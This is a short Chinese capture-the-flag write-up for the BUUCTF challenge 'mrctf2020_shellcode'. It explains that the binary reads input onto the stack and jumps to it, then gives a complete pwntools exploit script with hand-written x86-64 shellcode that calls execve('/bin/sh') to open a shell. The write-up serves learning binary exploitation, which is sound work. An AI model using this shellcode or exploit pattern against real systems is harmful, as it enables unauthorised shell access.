BUUCTF--mrctf2020_shellcode1

这是一题64位的shellocde题,没啥花招入门题。看下保护:


有可执行的段。接着我们看看IDA:


主函数中无法反汇编,那么我们直接看汇编代码。其实很简单,通过系统调用执行puts函数,然后执行read函数。


正在我想如何覆盖返回地址的时候,发现题目直接帮你搞好了。取buf的的地址(栈上)然后跳转到buf位置执行代码。那么我们直接通过read函数构造shellcode就完成了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./mrctf2020_shellcode')

shellcode = '''
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
'''


shellcode=asm(shellcode)

io.recvuntil("magic!")

io.sendline(shellcode)

io.interactive()
相关推荐
无言(* ̄(エ) ̄)1 分钟前
进程---Linux/C语言
java·开发语言·算法
浪客川13 分钟前
【百例RUST - 005】所有权和切片
开发语言·后端·rust
古城小栈16 分钟前
Axum: Rust 好用的 Web 框架
开发语言·rust
_OP_CHEN17 分钟前
【算法基础篇】(四十四)数论之欧拉定理与扩展欧拉定理深度解析:从降幂到超大规模幂运算
c++·算法·蓝桥杯·算法竞赛·欧拉定理·扩展欧拉定理·acm/icpc
lfwh20 分钟前
Java 中基于 DBSCAN 算法的车辆交汇点计算实现详解
java·开发语言·算法
liulilittle22 分钟前
DeepWiki: OPENPPP2 工程价值
网络·c++·网络协议·ai·信息与通信·通信
星河耀银海24 分钟前
C++面向对象编程:从基础到实战
开发语言·c++
HUST31 分钟前
C语言第十一讲: 深入理解指针(1)
c语言·开发语言
Ccjf酷儿41 分钟前
C++语言程序设计 (郑莉)第三章 函数
开发语言·c++
ytttr8731 小时前
基于人工蜂群算法(ABC)的MATLAB数值计算求解框架
开发语言·算法·matlab